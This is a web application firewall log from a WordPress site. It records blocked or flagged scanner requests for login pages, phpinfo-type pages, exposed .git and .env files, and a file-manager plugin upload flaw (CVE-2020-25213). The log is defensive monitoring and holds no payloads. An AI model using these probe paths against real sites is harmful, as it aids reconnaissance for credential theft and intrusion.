[Wed Dec 03 11:59:54.975190 2025] [:error] [pid 22083:tid 22085] [client 50.3.167.128:45427] [client 50.3.167.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.3.167.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS-1uvicvKZCy0M9-zz5fQAAAEA"]
[Wed Dec 03 11:59:56.937107 2025] [:error] [pid 54695:tid 54709] [client 50.3.167.128:49889] [client 50.3.167.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.3.167.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS-1vGrRT4nTHsfUu04A7QAAAUo"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 03 12:38:57.378597 2025] [:error] [pid 22083:tid 22091] [client 13.38.128.216:47842] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phpversion.php"] [unique_id "aS--4ficvKZCy0M9-zwIgwAAAEY"]
[Wed Dec 03 12:38:58.385137 2025] [:error] [pid 21970:tid 21973] [client 13.38.128.216:48106] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php_version.php"] [unique_id "aS--4mYwAeqEfyJIWdS5dwAAAAA"]
[Wed Dec 03 12:38:59.394627 2025] [:error] [pid 22083:tid 22109] [client 13.38.128.216:48318] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/serverinfo.php"] [unique_id "aS--4_icvKZCy0M9-zwIhwAAAFg"]
[Wed Dec 03 12:39:00.406633 2025] [:error] [pid 11940:tid 11955] [client 13.38.128.216:48550] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server.php"] [unique_id "aS--5DcDdx05OuLeesMAsAAAAc0"]
[Wed Dec 03 12:39:01.414707 2025] [:error] [pid 22083:tid 22097] [client 13.38.128.216:48782] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/debug.php"] [unique_id "aS--5ficvKZCy0M9-zwIiwAAAEw"]
[Wed Dec 03 12:39:02.411248 2025] [:error] [pid 11940:tid 11948] [client 13.38.128.216:49058] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/diagnostic.php"] [unique_id "aS--5jcDdx05OuLeesMAtAAAAcY"]
[Wed Dec 03 12:39:03.417629 2025] [:error] [pid 54695:tid 54723] [client 13.38.128.216:49360] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/phptest.php"] [unique_id "aS--52rRT4nTHsfUu04MzwAAAVg"]
[Wed Dec 03 12:39:04.431839 2025] [:error] [pid 22014:tid 22048] [client 13.38.128.216:49716] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/check.php"] [unique_id "aS--6AgpXEQej7y9Y6ZWMQAAAQI"]
[Wed Dec 03 12:39:05.430782 2025] [:error] [pid 24019:tid 24039] [client 13.38.128.216:50032] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/probe.php"] [unique_id "aS--6ZkVRhF9Pu1FX0NnXQAAAJE"]
[Wed Dec 03 12:39:06.439673 2025] [:error] [pid 22083:tid 22106] [client 13.38.128.216:50304] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_profiler/phpinfo"] [unique_id "aS--6vicvKZCy0M9-zwIkAAAAFU"]
[Wed Dec 03 12:39:07.445035 2025] [:error] [pid 21970:tid 21999] [client 13.38.128.216:50580] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aS--62YwAeqEfyJIWdS5fwAAABc"]
[Wed Dec 03 12:39:08.439941 2025] [:error] [pid 64775:tid 64783] [client 13.38.128.216:50830] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aS--7DCfrfdP2K_u39dnKQAAAYY"]
[Wed Dec 03 12:39:09.437726 2025] [:error] [pid 21970:tid 21987] [client 13.38.128.216:51128] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aS--7WYwAeqEfyJIWdS5ggAAAAs"]
[Wed Dec 03 12:39:10.429294 2025] [:error] [pid 54695:tid 54713] [client 13.38.128.216:51416] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aS--7mrRT4nTHsfUu04M1gAAAU4"]
[Wed Dec 03 12:39:11.440957 2025] [:error] [pid 11940:tid 11943] [client 13.38.128.216:51786] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t.php"] [unique_id "aS--7zcDdx05OuLeesMAvgAAAcE"]
[Wed Dec 03 12:39:12.439768 2025] [:error] [pid 64775:tid 64797] [client 13.38.128.216:52252] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info_php.php"] [unique_id "aS--8DCfrfdP2K_u39dnLQAAAZQ"]
[Wed Dec 03 12:39:13.452381 2025] [:error] [pid 22014:tid 22059] [client 13.38.128.216:52594] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php-info.php"] [unique_id "aS--8QgpXEQej7y9Y6ZWOAAAAQ0"]
[Wed Dec 03 12:39:14.448244 2025] [:error] [pid 54695:tid 54700] [client 13.38.128.216:52884] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/infophp.php"] [unique_id "aS--8mrRT4nTHsfUu04M2QAAAUE"]
[Wed Dec 03 12:39:15.449762 2025] [:error] [pid 11940:tid 11966] [client 13.38.128.216:53192] [client 13.38.128.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/testphp.php"] [unique_id "aS--8zcDdx05OuLeesMA8gAAAdg"]
[Wed Dec 03 12:39:16.453781 2025] [:error] [pid 64775:tid 64795] [client 13.38.128.216:53416] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aS--9DCfrfdP2K_u39dnMQAAAZI"]
[Wed Dec 03 12:39:17.449375 2025] [:error] [pid 11940:tid 11947] [client 13.38.128.216:53670] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aS--9TcDdx05OuLeesMA-AAAAcU"]
[Wed Dec 03 12:39:18.456898 2025] [:error] [pid 24019:tid 24024] [client 13.38.128.216:53918] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.local"] [unique_id "aS--9pkVRhF9Pu1FX0NngQAAAII"]
[Wed Dec 03 12:39:19.452039 2025] [:error] [pid 24019:tid 24046] [client 13.38.128.216:54170] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.remote"] [unique_id "aS--95kVRhF9Pu1FX0NnhgAAAJg"]
[Wed Dec 03 12:39:20.446081 2025] [:error] [pid 21970:tid 21996] [client 13.38.128.216:54444] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.production"] [unique_id "aS---GYwAeqEfyJIWdS5iAAAABQ"]
[Wed Dec 03 12:39:21.451479 2025] [:error] [pid 22083:tid 22096] [client 13.38.128.216:54698] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.development"] [unique_id "aS---ficvKZCy0M9-zwIqwAAAEs"]
[Wed Dec 03 12:39:22.448913 2025] [:error] [pid 22083:tid 22108] [client 13.38.128.216:55028] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.staging"] [unique_id "aS---vicvKZCy0M9-zwIrQAAAFc"]
[Wed Dec 03 12:39:23.455170 2025] [:error] [pid 64775:tid 64800] [client 13.38.128.216:55332] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.test"] [unique_id "aS---zCfrfdP2K_u39dnOQAAAZc"]
[Wed Dec 03 12:39:24.449666 2025] [:error] [pid 21970:tid 21985] [client 13.38.128.216:55696] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.backup"] [unique_id "aS--_GYwAeqEfyJIWdS5jQAAAAk"]
[Wed Dec 03 12:39:25.458638 2025] [:error] [pid 22013:tid 22036] [client 13.38.128.216:55898] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.sample"] [unique_id "aS--_YpUogO0aqsrpMW6sgAAANE"]
[Wed Dec 03 12:39:26.464962 2025] [:error] [pid 11940:tid 11954] [client 13.38.128.216:56134] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.old"] [unique_id "aS--_jcDdx05OuLeesMA_gAAAcw"]
[Wed Dec 03 12:39:27.459949 2025] [:error] [pid 64775:tid 64801] [client 13.38.128.216:56394] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.save"] [unique_id "aS--_zCfrfdP2K_u39dnQwAAAZg"]
[Wed Dec 03 12:39:28.472735 2025] [:error] [pid 54695:tid 54709] [client 13.38.128.216:56616] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.bak"] [unique_id "aS-_AGrRT4nTHsfUu04M5AAAAUo"]
[Wed Dec 03 12:39:29.466477 2025] [:error] [pid 24019:tid 24034] [client 13.38.128.216:56862] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.1"] [unique_id "aS-_AZkVRhF9Pu1FX0NnmAAAAIw"]
[Wed Dec 03 12:39:30.465684 2025] [:error] [pid 24019:tid 24023] [client 13.38.128.216:57100] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.2"] [unique_id "aS-_ApkVRhF9Pu1FX0NnmwAAAIE"]
[Wed Dec 03 12:39:31.477302 2025] [:error] [pid 11940:tid 11950] [client 13.38.128.216:57356] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.prod.local"] [unique_id "aS-_AzcDdx05OuLeesMBAwAAAcg"]
[Wed Dec 03 12:39:32.475712 2025] [:error] [pid 11940:tid 11958] [client 13.38.128.216:57602] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env.dev.local"] [unique_id "aS-_BDcDdx05OuLeesMBBQAAAdA"]
[Wed Dec 03 12:39:33.485011 2025] [:error] [pid 24019:tid 24032] [client 13.38.128.216:57914] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/vendor/.env"] [unique_id "aS-_BZkVRhF9Pu1FX0NnoQAAAIo"]
[Wed Dec 03 12:39:34.502734 2025] [:error] [pid 64775:tid 64779] [client 13.38.128.216:58158] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/lib/.env"] [unique_id "aS-_BjCfrfdP2K_u39dnSgAAAYI"]
[Wed Dec 03 12:39:35.507599 2025] [:error] [pid 24019:tid 24027] [client 13.38.128.216:58426] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/lab/.env"] [unique_id "aS-_B5kVRhF9Pu1FX0NnowAAAIU"]
[Wed Dec 03 12:39:36.511795 2025] [:error] [pid 21970:tid 21985] [client 13.38.128.216:58664] [client 13.38.128.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/cronlab/.env"] [unique_id "aS-_CGYwAeqEfyJIWdS5lQAAAAk"]
[Wed Dec 03 12:50:32.572833 2025] [:error] [pid 22014:tid 22070] [client 147.182.157.74:58039] [client 147.182.157.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.157.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS_BmAgpXEQej7y9Y6Za3gAAARg"]
[Wed Dec 03 12:50:34.745665 2025] [:error] [pid 22013:tid 22027] [client 147.182.157.74:50237] [client 147.182.157.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.157.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS_BmopUogO0aqsrpMW9XAAAAMg"]
[Wed Dec 03 13:50:21.497442 2025] [:error] [pid 10560:tid 10638] [client 147.182.157.74:65089] [client 147.182.157.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.157.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS_PnVICRUmwGLQBIWdAiQAAAJE"]
[Wed Dec 03 13:52:58.138566 2025] [:error] [pid 20707:tid 20733] [client 50.116.31.125:40638] [client 50.116.31.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.116.31.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS_QOjObjEHgU5ngsxdX-QAAARg"]
[Wed Dec 03 14:00:10.508399 2025] [:error] [pid 20669:tid 20684] [client 147.182.157.74:54712] [client 147.182.157.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.157.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS_R6pLWoJXGOhmabmsd9gAAAUg"]
[Wed Dec 03 14:10:13.731252 2025] [:error] [pid 20707:tid 20711] [client 95.68.128.245:53742] [client 95.68.128.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\/lib\\\\/php\\\\/connector\\\\.minimal\\\\.php$" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/27_Apps_WPPlugin.conf"] [line "6778"] [id "234930"] [rev "2"] [msg "COMODO WAF: File upload vulnerability in the file manager plugin before 6.9 for WordPress (CVE-2020-25213)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WPPlugin"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"] [unique_id "aS_URTObjEHgU5ngsxdkEwAAAQI"], referer: https://gigfragments.org/
[Wed Dec 03 14:10:15.124543 2025] [:error] [pid 20707:tid 20718] [client 95.68.128.245:53742] [client 95.68.128.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\/lib\\\\/php\\\\/connector\\\\.minimal\\\\.php$" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/27_Apps_WPPlugin.conf"] [line "6778"] [id "234930"] [rev "2"] [msg "COMODO WAF: File upload vulnerability in the file manager plugin before 6.9 for WordPress (CVE-2020-25213)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WPPlugin"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"] [unique_id "aS_URzObjEHgU5ngsxdkFQAAAQk"], referer: https://gigfragments.org/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
[Wed Dec 03 14:10:16.019814 2025] [:error] [pid 20707:tid 20710] [client 95.68.128.245:53742] [client 95.68.128.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\/lib\\\\/php\\\\/connector\\\\.minimal\\\\.php$" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/27_Apps_WPPlugin.conf"] [line "6778"] [id "234930"] [rev "2"] [msg "COMODO WAF: File upload vulnerability in the file manager plugin before 6.9 for WordPress (CVE-2020-25213)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WPPlugin"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"] [unique_id "aS_USDObjEHgU5ngsxdkFgAAAQE"], referer: https://gigfragments.org/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
[Wed Dec 03 14:10:49.831715 2025] [:error] [pid 20707:tid 20709] [client 147.182.157.74:59125] [client 147.182.157.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.157.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS_UaTObjEHgU5ngsxdkUQAAAQA"]
[Wed Dec 03 14:23:20.502171 2025] [:error] [pid 20607:tid 20625] [client 147.182.157.74:63097] [client 147.182.157.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.157.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS_XWPpiIcI2BRWBwqwpOAAAAE8"]
[Wed Dec 03 14:31:23.958991 2025] [:error] [pid 20707:tid 20715] [client 185.23.117.23:57738] [client 185.23.117.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.23.117.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aS_ZOzObjEHgU5ngsxdtYAAAAQY"]
[Wed Dec 03 14:37:36.363371 2025] [:error] [pid 32437:tid 32453] [client 147.182.157.74:50353] [client 147.182.157.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.182.157.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS_asKBId4T5gQoDbCET4AAAAA0"]
[Wed Dec 03 16:14:11.019632 2025] [:error] [pid 20607:tid 20629] [client 65.111.29.176:9023] [client 65.111.29.176] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/HEAD"] [unique_id "aS_xU_piIcI2BRWBwqxGdgAAAFM"]
[Wed Dec 03 16:14:22.788797 2025] [:error] [pid 20669:tid 20678] [client 216.26.247.161:41659] [client 216.26.247.161] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aS_xXpLWoJXGOhmabmtUgQAAAUI"]
